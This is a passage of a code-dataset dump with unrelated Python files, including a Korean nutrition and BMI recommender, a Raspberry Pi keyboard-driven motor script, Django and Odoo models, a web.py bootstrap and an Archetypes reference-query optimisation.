settings.CURRENT_PILOT\n","sub_path":"lots_admin/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"499266872","text":"import pandas as pd\r\nfrom numpy import sqrt\r\n# 임시\r\ndef bmi(height , weight):\r\n bmi_h = height * height\r\n bmi_w = weight * 10000\r\n bmi = bmi_w / bmi_h\r\n returnDic = {}\r\n returnDic['bmi'] = bmi\r\n if bmi > 30:\r\n returnDic['bmi상태'] = (\"비만\")\r\n elif bmi >= 25:\r\n returnDic['bmi상태'] = (\"과체중\")\r\n elif bmi >= 18.5:\r\n returnDic['bmi상태'] = (\"정상\")\r\n else:\r\n returnDic['bmi상태'] = (\"저체중\")\r\n return returnDic\r\n\r\ndef encouraged(gender, age):\r\n # 남성: 1, 여성: 2 // 단위: ~세\r\n kcal_man1 = 1700\r\n kcal_man2 = 2100\r\n kcal_man3 = 2500\r\n kcal_man4 = 2700\r\n kcal_man5 = 2600\r\n kcal_man6 = 2400\r\n kcal_man7 = 2200\r\n kcal_man8 = 2000\r\n kcal_man9 = 2000\r\n\r\n kcal_woman1 = 1500\r\n kcal_woman2 = 1800\r\n kcal_woman3 = 2000\r\n kcal_woman4 = 2000\r\n kcal_woman5 = 2100\r\n kcal_woman6 = 1900\r\n kcal_woman7 = 1800\r\n kcal_woman8 = 1600\r\n kcal_woman9 = 1600\r\n\r\n protein_man1 = 30\r\n protein_man2 = 40\r\n protein_man3 = 55\r\n protein_man4 = 65\r\n protein_man5 = 65\r\n protein_man6 = 60\r\n protein_man7 = 60\r\n protein_man8 = 55\r\n protein_man9 = 55\r\n\r\n protein_woman1 = 25\r\n protein_woman2 = 40\r\n protein_woman3 = 50\r\n protein_woman4 = 50\r\n protein_woman5 = 55\r\n protein_woman6 = 50\r\n protein_woman7 = 50\r\n protein_woman8 = 45\r\n protein_woman9 = 45\r\n\r\n sodium_man1 = 2000\r\n sodium_man2 = 2000\r\n sodium_man3 = 2000\r\n sodium_man4 = 2000\r\n sodium_man5 = 2000\r\n sodium_man6 = 2000\r\n sodium_man7 = 2000\r\n sodium_man8 = 2000\r\n sodium_man9 = 2000\r\n\r\n sodium_woman1 = 2000\r\n sodium_woman2 = 2000\r\n sodium_woman3 = 2000\r\n sodium_woman4 = 2000\r\n sodium_woman5 = 2000\r\n sodium_woman6 = 2000\r\n sodium_woman7 = 2000\r\n sodium_woman8 = 2000\r\n sodium_woman9 = 2000\r\n\r\n potassium_man1 = 2600\r\n potassium_man2 = 3000\r\n potassium_man3 = 3500\r\n potassium_man4 = 3500\r\n potassium_man5 = 3500\r\n potassium_man6 = 3500\r\n potassium_man7 = 3500\r\n potassium_man8 = 3500\r\n potassium_man9 = 3500\r\n\r\n potassium_woman1 = 2600\r\n potassium_woman2 = 3000\r\n potassium_woman3 = 3500\r\n potassium_woman4 = 3500\r\n potassium_woman5 = 3500\r\n potassium_woman6 = 3500\r\n potassium_woman7 = 3500\r\n potassium_woman8 = 3500\r\n potassium_woman9 = 3500\r\n\r\n calcium_man1 = 700\r\n calcium_man2 = 800\r\n calcium_man3 = 1000\r\n calcium_man4 = 900\r\n calcium_man5 = 800\r\n calcium_man6 = 800\r\n calcium_man7 = 750\r\n calcium_man8 = 700\r\n calcium_man9 = 700\r\n\r\n calcium_woman1 = 700\r\n calcium_woman2 = 800\r\n calcium_woman3 = 900\r\n calcium_woman4 = 800\r\n calcium_woman5 = 700\r\n calcium_woman6 = 700\r\n calcium_woman7 = 800\r\n calcium_woman8 = 800\r\n calcium_woman9 = 800\r\n\r\n returnDic = {}\r\n\r\n if gender == 1:\r\n if age >= 75:\r\n returnDic = {\"칼로리\": kcal_man9,\r\n \"단백질\": protein_man9,\r\n \"단백질:\": protein_man9,\r\n \"나트륨\": sodium_man9,\r\n \"칼륨\": potassium_man9,\r\n \"칼슘\": calcium_man9}\r\n elif age >= 65:\r\n returnDic = {\"칼로리\": kcal_man8,\r\n \"단백질\": protein_man8,\r\n \"단백질:\": protein_man8,\r\n \"나트륨\": sodium_man8,\r\n \"칼륨\": potassium_man8,\r\n \"칼슘\": calcium_man8}\r\n\r\n elif age >= 50:\r\n returnDic = {\"칼로리\": kcal_man7,\r\n \"단백질\": protein_man7,\r\n \"단백질:\": protein_man7,\r\n \"나트륨\": sodium_man7,\r\n \"칼륨\": potassium_man7,\r\n \"칼슘\": calcium_man7}\r\n\r\n elif age >= 30:\r\n returnDic = {\"칼로리\": kcal_man6,\r\n \"단백질\": protein_man6,\r\n \"단백질:\": protein_man6,\r\n \"나트륨\": sodium_man6,\r\n \"칼륨\": potassium_man6,\r\n \"칼슘\": calcium_man6}\r\n\r\n elif age >= 19:\r\n returnDic = {\"칼로리\": kcal_man5,\r\n \"단백질\": protein_man5,\r\n \"단백질:\": protein_man5,\r\n \"나트륨\": sodium_man5,\r\n \"칼륨\": potassium_man5,\r\n \"칼슘\": calcium_man5}\r\n\r\n elif age >= 15:\r\n returnDic = {\"칼로리\": kcal_man4,\r\n \"단백질\": protein_man4,\r\n \"단백질:\": protein_man4,\r\n \"나트륨\": sodium_man4,\r\n \"칼륨\": potassium_man4,\r\n \"칼슘\": calcium_man4}\r\n\r\n elif age >= 12:\r\n returnDic = {\"칼로리\": kcal_man3,\r\n \"단백질\": protein_man3,\r\n \"단백질:\": protein_man3,\r\n \"나트륨\": sodium_man3,\r\n \"칼륨\": potassium_man3,\r\n \"칼슘\": calcium_man3}\r\n\r\n elif age >= 9:\r\n returnDic = {\"칼로리\": kcal_man2,\r\n \"단백질\": protein_man2,\r\n \"단백질:\": protein_man2,\r\n \"나트륨\": sodium_man2,\r\n \"칼륨\": potassium_man2,\r\n \"칼슘\": calcium_man2}\r\n\r\n else:\r\n returnDic = {\"칼로리\": kcal_man1,\r\n \"단백질\": protein_man1,\r\n \"단백질:\": protein_man1,\r\n \"나트륨\": sodium_man1,\r\n \"칼륨\": potassium_man1,\r\n \"칼슘\": calcium_man1}\r\n else:\r\n if age >= 75:\r\n returnDic = {\"칼로리\": kcal_woman9,\r\n \"단백질\": protein_woman9,\r\n \"단백질:\": protein_woman9,\r\n \"나트륨\": sodium_woman9,\r\n \"칼륨\": potassium_woman9,\r\n \"칼슘\": calcium_woman9}\r\n\r\n elif age >= 65:\r\n returnDic = {\"칼로리\": kcal_woman8,\r\n \"단백질\": protein_woman8,\r\n \"단백질:\": protein_woman8,\r\n \"나트륨\": sodium_woman8,\r\n \"칼륨\": potassium_woman8,\r\n \"칼슘\": calcium_woman8}\r\n\r\n\r\n elif age >= 50:\r\n returnDic = {\"칼로리\": kcal_woman7,\r\n \"단백질\": protein_woman7,\r\n \"단백질:\": protein_woman7,\r\n \"나트륨\": sodium_woman7,\r\n \"칼륨\": potassium_woman7,\r\n \"칼슘\": calcium_woman7}\r\n\r\n elif age >= 30:\r\n returnDic = {\"칼로리\": kcal_woman6,\r\n \"단백질\": protein_woman6,\r\n \"단백질:\": protein_woman6,\r\n \"나트륨\": sodium_woman6,\r\n \"칼륨\": potassium_woman6,\r\n \"칼슘\": calcium_woman6}\r\n\r\n\r\n elif age >= 19:\r\n returnDic = {\"칼로리\": kcal_woman5,\r\n \"단백질\": protein_woman5,\r\n \"단백질:\": protein_woman5,\r\n \"나트륨\": sodium_woman5,\r\n \"칼륨\": potassium_woman5,\r\n \"칼슘\": calcium_woman5}\r\n\r\n\r\n elif age >= 15:\r\n returnDic = {\"칼로리\": kcal_woman4,\r\n \"단백질\": protein_woman4,\r\n \"단백질:\": protein_woman4,\r\n \"나트륨\": sodium_woman4,\r\n \"칼륨\": potassium_woman4,\r\n \"칼슘\": calcium_woman4}\r\n\r\n\r\n elif age >= 12:\r\n returnDic = {\"칼로리\": kcal_woman3,\r\n \"단백질\": protein_woman3,\r\n \"단백질:\": protein_woman3,\r\n \"나트륨\": sodium_woman3,\r\n \"칼륨\": potassium_woman3,\r\n \"칼슘\": calcium_woman3}\r\n\r\n\r\n elif age >= 9:\r\n returnDic = {\"칼로리\": kcal_woman2,\r\n \"단백질\": protein_woman2,\r\n \"단백질:\": protein_woman2,\r\n \"나트륨\": sodium_woman2,\r\n \"칼륨\": potassium_woman2,\r\n \"칼슘\": calcium_woman2}\r\n else:\r\n returnDic = {\"칼로리\": kcal_woman1,\r\n \"단백질\": protein_woman1,\r\n \"단백질:\": protein_woman1,\r\n \"나트륨\": sodium_woman1,\r\n \"칼륨\": potassium_woman1,\r\n \"칼슘\": calcium_woman1 }\r\n\r\n return returnDic\r\n\r\ndef recommendCal(height,weight,age,gender,activity):\r\n# gender = int(input(\"* 성별을 입력하세요(남성: 1, 여성: 2)\"))\r\n# age = int(input(\"* 나이를 입력하세요(단위: 살)\"))\r\n# height = int(input(\"* 키를 입력하세요(단위: cm)\"))\r\n# weight = int(input(\"* 몸무게를 입력하세,요(단위: kg)\"))\r\n# activity = int(\r\n# input(\"* 활동량을 입력하세요\\ndef getRecommendation(data, person, sim_function=sim_pearson):\"))\r\n returnDic = {}\r\n if gender == 1:\r\n basic1 = 66.47 + (13.75 * weight) + (5 * height) - (6.76 * age)\r\n\r\n if activity == 1:\r\n activity_A = basic1 * 0.2\r\n elif activity == 2:\r\n activity_A = basic1 * 0.375\r\n elif activity == 3:\r\n activity_A = basic1 * 0.555\r\n else:\r\n activity_A = basic1 * 0.725\r\n activity_all = basic1 + activity_A\r\n returnDic = {\"기초대사량\": basic1, \"활동대사량\": activity_A, \"권장칼로리\": activity_all}\r\n\r\n else:\r\n basic2 = 65.51 + (9.56 * weight) + (1.85 * height) - (4.68 * age)\r\n\r\n if activity == 1:\r\n activity_A2 = basic2 * 0.2\r\n elif activity == 2:\r\n activity_A2 = basic2 * 0.375\r\n elif activity == 3:\r\n activity_A2 = basic2 * 0.555\r\n else:\r\n activity_A2 = basic2 * 0.725\r\n\r\n activity_all2 = basic2 + activity_A2\r\n returnDic = {\"기초대사량\": basic2, \"활동대사량\": activity_A2, \"권장칼로리\": activity_all2}\r\n return returnDic\r\n\r\n\r\ndef healthMain(height , weight, age, gender,activity=2,dietTarget = 1):\r\n dic = {}\r\n tempDic = {}\r\n for i in bmi(height,weight):\r\n dic[i]=bmi(height,weight)[i]\r\n for i in encouraged(gender,age):\r\n dic[i]= encouraged(gender,age)[i]\r\n for i in recommendCal(height,weight,age,gender,activity):\r\n dic[i] = recommendCal(height,weight,age,gender,activity)[i]\r\n\r\n if(dietTarget==2):\r\n dic['권장칼로리'] *= 0.8\r\n elif(dietTarget==3):\r\n dic['권장칼로리'] *= 1.2\r\n return dic\r\n\r\n\r\n# 임시\r\n\r\ndef loadAsCsv(fileName='dft.csv'):\r\n tempDf = pd.read_csv(fileName, encoding='EUC-KR')\r\n alist = []\r\n\r\n for i in tempDf.index:\r\n tempDic = {}\r\n for col in tempDf:\r\n tempDic[col] = tempDf.at[i, col]\r\n alist.append(tempDic)\r\n return alist\r\n\r\ndef linkNutrient(filteredList,nutData = loadAsCsv(\"calories.csv\")):\r\n returnLink = []\r\n for fl in filteredList:\r\n try:\r\n for nd in nutData:\r\n if(fl==nd[\"음식이름\"]):\r\n returnLink.append(nd)\r\n except:\r\n print('에러',fl)\r\n continue\r\n return returnLink\r\n\r\n\r\ndef transList(givenList):\r\n returnDic = {}\r\n tempList = []\r\n for gl in givenList:\r\n tempList.append(gl['음식이름'])\r\n tempList = list(set(tempList))\r\n tempDic = {}\r\n for tl in tempList:\r\n for gl in givenList:\r\n if (tl == gl['음식이름']):\r\n tempDic[gl['영양성분']] = gl['함유량']\r\n returnDic[tl] = tempDic\r\n tempDic = {}\r\n\r\n\r\n return returnDic\r\n\r\ndef sim_pearson(data, name1, name2):\r\n sumX = 0 # X의 합\r\n sumY = 0 # Y의 합\r\n sumPowX = 0 # X 제곱의 합\r\n sumPowY = 0 # Y 제곱의 합\r\n sumXY = 0 # X*Y의 합\r\n count = 0 # 음식 개수\r\n\r\n for i in data[name1]: # i = key\r\n if i in data[name2]: # 같은 음식을 평가했을때만\r\n sumX += data[name1][i]\r\n sumY += data[name2][i]\r\n sumPowX += pow(data[name1][i], 2)\r\n sumPowY += pow(data[name2][i], 2)\r\n sumXY += data[name1][i] * data[name2][i]\r\n count += 1\r\n\r\n return (sumXY - ((sumX * sumY) / count)) / sqrt(\r\n (sumPowX - (pow(sumX, 2) / count)) * (sumPowY - (pow(sumY, 2) / count)))\r\n\r\n# 딕셔너리 돌면서 상관계수순으로 정렬\r\ndef top_match(data, name, index=20, sim_function=sim_pearson):\r\n li=[]\r\n for i in data: #딕셔너리를 돌고\r\n if name!=i: #자기 자신이 아닐때만\r\n li.append((sim_function(data,name,i),i)) #sim_function()을 통해 상관계수를 구하고 li[]에 추가\r\n li.reverse() #내림차순\r\n return li[:index]\r\ndef UserloadOnData(data,userDic):\r\n userDic['당질'] = userDic[\"탄수화물\"]\r\n data['사용자'] = userDic\r\n\r\n\r\ndef main(data={},healthDict={}):\r\n# {'bmi': 23.120623596247853, 'bmi상태': '정상', '칼로리': 2600, '단백질': 65,\r\n# '단백질:': 65, '나트륨': 2000, '칼륨': 3500, '칼슘': 800,\r\n# '기초대사량': 1716.45, '활동대사량': 643.66875, '권장칼로리': 2360.11875}\r\n\r\n\r\n dishNameList = []\r\n for d in data:\r\n dishNameList.append(d)\r\n linkedList = linkNutrient(dishNameList)\r\n transedDic = transList(linkedList)\r\n transedDic['사용자'] = healthDict\r\n\r\n topList = top_match(transedDic,'사용자',20)\r\n print(topList)\r\n return topList\r\n\r\n\r\ntempdata = [(0.03809703432192489, '겨울 샤브샤브'), (0.03739845102413832, '계란말이김밥'), (0.037229803192769, '두부두루치기'),\r\n (0.03706344527230439, '수제비'), (0.03706344527230439, '쇠고기 떡국'), (0.03706344527230439, '무초절임 쌈밥'),\r\n (0.03706344527230439, '두부 스테이크'), (0.036899325648329845, '해물 하이라이스'), (0.036899325648329845, '콩나물잡채'),\r\n (0.036899325648329845, '양배추 두부찜'), (0.036899325648329845, '무 굴국'), (0.036899325648329845, '깐쇼새우'),\r\n (0.036737394325205806, '탕국'), (0.036737394325205806, '두부전골'), (0.036737394325205806, '두부구이와 김양념장'),\r\n (0.036737394325205806, '굴국밥'), (0.036577602861251314, '해물칼국수'), (0.036577602861251314, '버섯전골'),\r\n (0.036577602861251314, '묵밥'), (0.036577602861251314, '멸치국수'), (0.036577602861251314, '매운탕'),\r\n (0.036577602861251314, '돌나물물김치'), (0.036577602861251314, '계란말이'), (0.03641990430707569, '큐브참치 주먹밥'),\r\n (0.03641990430707569, '케이준샐러드'), (0.03641990430707569, '케이준 치킨샐러드'), (0.03641990430707569, '카레라이스'),\r\n (0.03641990430707569, '참치 야채볶음'), (0.03641990430707569, '우럭매운탕'), (0.03641990430707569, '우럭 매운탕')]\r\n\r\ntemplist = [174, 70, 27, 1, 2, 3] # 테스트 덤프\r\n\r\nprint(main(tempdata,templist))\r\n","sub_path":"source/3. Let's have dinner/health analysis module/3.healthFilter.py","file_name":"3.healthFilter.py","file_ext":"py","file_size_in_byte":15579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"575388256","text":"#!/usr/bin/env python\n\nimport usb.core\nimport usb.util\nimport explorerhat\nimport time\n\nexplorerhat.light.red.on()\n\nUSB_VENDOR = 0x1997 # Rii\nUSB_PRODUCT = 0x2433 # Mini Wireless Keyboard\n\nUSB_IF = 0 # Interface\nUSB_TIMEOUT = 5 # Timeout in MS\n\nBTN_LEFT = 80\nBTN_RIGHT = 79\nBTN_DOWN = 81\nBTN_UP = 82\nBTN_STOP = 44 # Space\nBTN_EXIT = 41 # ESC\n\ndev = usb.core.find(idVendor=USB_VENDOR, idProduct=USB_PRODUCT)\nendpoint = dev[0][(0,0)][0]\n\nif dev.is_kernel_driver_active(USB_IF) is True:\n dev.detach_kernel_driver(USB_IF)\n\nusb.util.claim_interface(dev, USB_IF)\n\nexplorerhat.light.red.off()\nexplorerhat.light.green.on()\n\nwhile True:\n control = None\n try:\n control = dev.read(endpoint.bEndpointAddress, endpoint.wMaxPacketSize, USB_TIMEOUT)\n print(control)\n except:\n pass\n\n if control != None:\n if BTN_DOWN in control:\n explorerhat.motor.backwards()\n\n if BTN_UP in control:\n explorerhat.motor.forwards()\n\n if BTN_LEFT in control:\n explorerhat.motor.two.forwards()\n explorerhat.motor.one.backwards()\n\n if BTN_RIGHT in control:\n explorerhat.motor.two.backwards()\n explorerhat.motor.one.forwards()\n\n if BTN_STOP in control:\n explorerhat.motor.stop()\n\n if BTN_EXIT in control:\n exit()\n\n time.sleep(0.02)\n","sub_path":"keyboard.py","file_name":"keyboard.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"597137391","text":"\"\"\"\nThis provides connectivity to a message broker supporting the STOMP protocol. Both protocol\nversions 1.0 and 1.1 are supported.\n\nSee the GITHUB project page for more information.\n\nAuthor: Jason R Briggs\nLicense: http://www.apache.org/licenses/LICENSE-2.0\nProject Page: https://github.com/jasonrbriggs/stomp.py\n\"\"\"\n\nimport os\nimport sys\nsys.path.insert(0, os.path.split(__file__)[0])\n\nimport connect, listener, exception, transport, protocol\n\n__version__ = (4, 0, 2)\nConnection10 = connect.StompConnection10\nConnection11 = connect.StompConnection11\nConnection12 = connect.StompConnection12\nConnection = connect.StompConnection11\nConnectionListener = listener.ConnectionListener\nStatsListener = listener.StatsListener\n","sub_path":"stomp/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"586471523","text":"import libreria\n\ndef AgregarCapital():\n # 1. Pedir capital\n # 2. Pedir pais\n # 3. Guardadr datos en capitales.txt\n capital=libreria.pedir_capital(\"Ingrese capital: \")\n pais=libreria.pedir_nombre(\"ingrese pais:\")\n contenido = capital + \"-\" + pais + \"\\n\"\n libreria.agregar_datos(\"capitales.txt\", contenido,\"a\")\n print(\"se agrego una nueva capital\")\n\ndef MostrarCapital():\n # 1. Abrir el archivo capitales.txt y mostrar sus datos\n datos=libreria.obtener_datos_lista(\"capitales.txt\")\n # 2. Comprobar si hay datos\n if ( datos != \"\"):\n for item in datos:\n capital, pais= item.split(\"-\")\n msg=\" {} es la capital de {}\"\n capital=capital.replace(\"\\n\",\"\")\n pais=pais.replace(\"\\n\",\"\")\n print(msg.format(capital, pais))\n #fin_for\n else:\n print(\"No hay datos\")\n\n\n\nopc=\"\"\nmax=3\nwhile(opc!=max):\n print(\"######## MENU #############\")\n print(\"#1. Agregar Capital #\")\n print(\"#2. Mostrar Capital #\")\n print(\"#3. Salir #\")\n print(\"###########################\")\n opc=libreria.pedir_numero(\"ingrese opcion: \",1,3)\n\n if( opc==1):\n AgregarCapital()\n if(opc==2):\n MostrarCapital()\n #fin if\n#fin while\nprint(\"fin\")","sub_path":"damian/menu3.py","file_name":"menu3.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"70555171","text":"from rest_framework import routers\nfrom django.urls import include, path\n\nfrom . import views\nfrom .views import MangaViewSet, ChapterViewSet, PageViewSet, TagViewSet, CreateUserAPIView, ReportViewSet, ShowUserViewSet\n\nfrom rest_framework_simplejwt.views import (\n TokenObtainPairView,\n TokenRefreshView,\n TokenVerifyView\n)\n\nrouter = routers.DefaultRouter()\nrouter.register(r'manga', MangaViewSet, basename='manga')\nrouter.register(r'chapter', ChapterViewSet)\nrouter.register(r'page', PageViewSet)\nrouter.register(r'tag', TagViewSet)\nrouter.register(r'news', ReportViewSet)\nrouter.register(r'show_users', ShowUserViewSet)\n#router.register(r'manga/(?P[0-9]+)', MangaViewSet, basename='manga')\n#router.register(r'manga/', MangaUrlNameViewSet, basename='manga')\n#router.register(r'books/(?P[0-9]+)', MangaUrlNameViewSet, base_name='books')\n\nurlpatterns = [\n #$path('manga/url_name', views.MangaUrlNameViewSet.as_view(), name=mangaFiltered),\n path('userinfo/', views.GetUserInfo.as_view(), name='userinfo'),\n path('token/', TokenObtainPairView.as_view(), name='token_obtain_pair'),\n path('token/refresh/', TokenRefreshView.as_view(), name='token_refresh'),\n path('token/check', TokenVerifyView.as_view(), name='token_checker'),\n path('create/', CreateUserAPIView.as_view())\n]\n\nurlpatterns += router.urls\n\n","sub_path":"backend/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"563748748","text":"from Bio import SeqIO\nfrom matplotlib import pyplot as plt\nfrom collections import defaultdict\nimport numpy as np\nimport math\nfrom ladder_fit import convert_to_bp, convert_to_index, find_lower, find_upper\n\na = 'DATA1'\nb = 'DATA2'\nc = 'DATA3'\nd = 'DATA4'\ne = 'DATA105'\n\nchannels = [a, b, c, d, e]\ndye = [500, 490, 450, 400, 350, 340, 300, 250, 200, 160, 150, 139, 100, 75, 50, 35]\n\nrecord = SeqIO.read('A_COR_12_1_Hos.fsa', 'abi')\ntrace = defaultdict(list)\n\nfor c in channels:\n\ttrace[c] = record.annotations['abif_raw'][c]\n\n# plt.plot(trace[a], color='blue')\n# plt.plot(trace[b], color='red')\n# plt.plot(trace[c], color='green')\n# plt.plot(trace[d], color='yellow')\n# plt.plot(trace[e], color='black')\n\n# plt.show()\n# converted_bp = convert_to_bp(1370, record.annotations['abif_raw'][e], dye)\n# print(converted_bp)\n\n# converted_index = convert_to_index(240.27, record.annotations['abif_raw'][e])\n# print(converted_index)\nalelle = 288\nheight = []\nindex_of_peaks = []\ndata1 = list(record.annotations['abif_raw'][a])\n\nfor c in range(find_lower(record.annotations['abif_raw'][e], dye), find_upper(record.annotations['abif_raw'][e], dye)):\n\tconverted_bp = convert_to_bp(c, record.annotations['abif_raw'][e], dye)\n\tin_range = converted_bp >= alelle - 1 and converted_bp <= alelle + 1\n\tif in_range:\n\t\tindex_of_peaks.append(c)\n\t\theight.append(data1[c])\n\telif converted_bp > alelle:\n\t\tbreak\n\nprint(height)\nprint(index_of_peaks)\nprint(max(height))\nprint(convert_to_bp(1175, record.annotations['abif_raw'][e], dye))\n\n# Make negative values in array zero\n# data_105 = list(record.annotations['abif_raw'][e])\n# i = len(record.annotations['abif_raw'][e])\n\n# for x in range(0, i):\n# \tif data_105[x] < 0:\n# \t\tdata_105[x] = 0\n\n# indexes = findpeaks.findpeaks(data_105, spacing=50, limit=200)\n\n# ind = []\n# i = len(indexes) - 1\n# j = 0\n\n# while i >= 0:\n# \tind.append(indexes[i])\n# \tj += 1\n# \ti -= 1\n\n# alelle = 3453\n\n# for c in range (0, len(ind)-1):\n# \tif alelle > ind[c]:\n# \t\ty_pred = ((alelle - ind[c])/((ind[c-1]-ind[c])/(LIZ_500[c-1]-LIZ_500[c]))) + LIZ_500[c]\n# \t\tbreak\n\n# print (y_pred)\n\n# 1\n# 3024 - True(207 bp)\n# 3482 - True(248 bp)\n# 2037 - True(116 bp)\n# 6219 - True(484 bp)\n\n# 2\n# 2068 - True(116 bp)\n# 3077 - True(210 bp)\n# 3096 - True(212 bp)\n# 3629 - True(260 bp)\n\n# 4\n# 2996 - True(199 bp)\n# 3042 - True(203 bp)\n# 3256 - True(222 bp)\n# 3453 - True(240 bp)\n# 3736 - True(264 bp)\n# 6330 - True(484? bp)\n\n# 5\n# ","sub_path":"ian/archive/ladder_script.py","file_name":"ladder_script.py","file_ext":"py","file_size_in_byte":2407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"201088830","text":"from django.db import models\nfrom django.utils import encoding\nfrom pages.models import BaseModule\nfrom pages.models import BasePanel\n\nfrom filer.fields.image import FilerImageField\n\n\nclass FAQModule(BaseModule):\n\t@property\n\tdef module_type(self):\n\t\treturn \"v-style-faq\"\n\n\nclass FAQPanel(BasePanel):\n\thylands_park_content = models.TextField(blank=True)\n\tweston_park_content = models.TextField(blank=True)\n\n\tPANEL_WIDTH_CHOICES = (\n\t\t(4, 4),\n\t)\n\tpanel_width = models.IntegerField(choices=PANEL_WIDTH_CHOICES, default=4)\n\n\tPANEL_TYPE_CHOICES = (\n\t\t(1, 1),\n\t)\n\tpanel_type = models.IntegerField(choices=PANEL_TYPE_CHOICES, default=1)\n\n\tmodule = models.ForeignKey(FAQModule, related_name=\"panel_set\", blank=True, null=True)\n\n\tdef save(self, *args, **kwargs):\n\t\t#self.hylands_park_content = encoding.smart_str(self.hylands_park_content, encoding='ascii', errors='ignore')\n\t\t#self.weston_park_content = encoding.smart_str(self.weston_park_content, encoding='ascii', errors='ignore')\n\t\tif (self.hylands_park_content == \"


    \"):\n\t\t\tself.hylands_park_content = \"\"\n\t\tif (self.weston_park_content == \"


    \"):\n\t\t\tself.weston_park_content = \"\"\n\t\tsuper(FAQPanel, self).save(*args, **kwargs)","sub_path":"django/vfestival/apps/v_style_faqs/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"358463245","text":"from odoo import api, models, fields\n\n\nclass TerminationDetails(models.Model):\n _name = 'termination.details'\n _rec_name = 'employee_id'\n\n employee_id = fields.Many2one('hr.employee', string='Employee')\n joining_date = fields.Date('Joining Date')\n last_working_day = fields.Date('Last working day')\n gratuity_days = fields.Float('Gratuity days')\n gratuity_amt = fields.Float('Gratuity amount')\n fully_paid = fields.Boolean('Fully Paid')\n payment_ids = fields.Many2many('account.payment', 'termination_payment_rel', 'termination_id', 'payment_id',\n string=\"Payments\", copy=False, readonly=True)\n residual = fields.Float('Due Amount', compute='_compute_residual', copy=False)\n\n @api.depends('payment_ids')\n def _compute_residual(self):\n for rec in self:\n gratuity_amt = rec.gratuity_amt\n paid_amt = 0\n for line in rec.payment_ids:\n paid_amt += line.amount\n due = gratuity_amt - paid_amt\n rec.residual = due\n\n","sub_path":"Medical_09122019/hr_final_settlement/models/termination_details.py","file_name":"termination_details.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"484917775","text":"#encoding:utf-8\n#import os\n#os.path.join (os.path.dirname(os.path.abspath(__file__)))\n\nimport web\n\nimport urls\n\nurls = urls.urls\n\nweb.config.debug = False\n\napp = web.application(urls, globals())\n\nif web.config.get('_session') is None:\n session = web.session.Session(app, web.session.DiskStore('sessions'))\n web.config._session = session\nelse:\n session = web.config._session\n\ndef session_hook():\n web.ctx.session = session\napp.add_processor(web.loadhook(session_hook))\n\nif __name__ == \"__main__\":\n app.run()","sub_path":"template/auto_gene/user/gene_site/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"258509141","text":"from Acquisition import aq_inner\nfrom Acquisition import aq_parent\nfrom Products.CMFCore.utils import getToolByName\nfrom Products.ZCatalog.Lazy import LazyMap\n\n\ndef getReferences(self, object, relationship=None, targetObject=None,\n objects=True):\n \"\"\"return a collection of reference objects\"\"\"\n return self._optimizedReferences(object, relationship=relationship,\n targetObject=targetObject, objects=objects, attribute='sourceUID')\n\n\ndef getBackReferences(self, object, relationship=None, targetObject=None,\n objects=True):\n \"\"\"return a collection of reference objects\"\"\"\n # Back refs would be anything that target this object\n return self._optimizedReferences(object, relationship=relationship,\n targetObject=targetObject, objects=objects, attribute='targetUID')\n\n\ndef _optimizedReferences(self, object, relationship=None, targetObject=None,\n objects=True, attribute='sourceUID'):\n sID, sobj = self._uidFor(object)\n if targetObject:\n tID, tobj = self._uidFor(targetObject)\n if attribute == 'sourceUID':\n brains = self._queryFor(sID, tID, relationship)\n else:\n brains = self._queryFor(tID, sID, relationship)\n else:\n brains = self._optimizedQuery(sID, attribute, relationship)\n\n if objects:\n return self._resolveBrains(brains)\n return brains\n\n\ndef _optimizedQuery(self, uid, indexname, relationship):\n \"\"\"query reference catalog for object matching the info we are\n given, returns brains\n \"\"\"\n if not uid: # pragma: no cover\n return []\n\n _catalog = self._catalog\n indexes = _catalog.indexes\n\n # First get one or multiple record ids for the source/target uid index\n rids = indexes[indexname]._index.get(uid, None)\n if rids is None:\n return []\n elif isinstance(rids, int):\n rids = [rids]\n else:\n rids = list(rids)\n\n # As a second step make sure we only get references of the right type\n # The unindex holds data of the type: [(-311870037, 'relatesTo')]\n # The index holds data like: [('relatesTo', -311870037)]\n if relationship is None:\n result_rids = rids\n else:\n rel_unindex_get = indexes['relationship']._unindex.get\n result_rids = set()\n if isinstance(relationship, str):\n relationship = set([relationship])\n for r in rids:\n rels = rel_unindex_get(r, set())\n if isinstance(rels, str):\n rels = set([rels])\n if len(rels.intersection(relationship)) > 0:\n result_rids.add(r)\n\n # Create brains\n return LazyMap(_catalog.__getitem__,\n list(result_rids), len(result_rids))\n\n\ndef getSourceObject(self):\n return self._optimizedGetObject(self.sourceUID)\n\n\ndef getTargetObject(self):\n return self._optimizedGetObject(self.targetUID)\n\n\ndef _optimizedGetObject(self, uid):\n tool = getToolByName(self, 'uid_catalog', None)\n if tool is None: # pragma: no cover\n return ''\n tool = aq_inner(tool)\n traverse = aq_parent(tool).unrestrictedTraverse\n\n _catalog = tool._catalog\n rids = _catalog.indexes['UID']._index.get(uid, ())\n if isinstance(rids, int):\n rids = (rids, )\n\n for rid in rids:\n path = _catalog.paths[rid]\n obj = traverse(path, default=None)\n if obj is not None:\n return obj\n\n\ndef getRefs(self, relationship=None, targetObject=None):\n \"\"\"get all the referenced objects for this object\"\"\"\n tool = 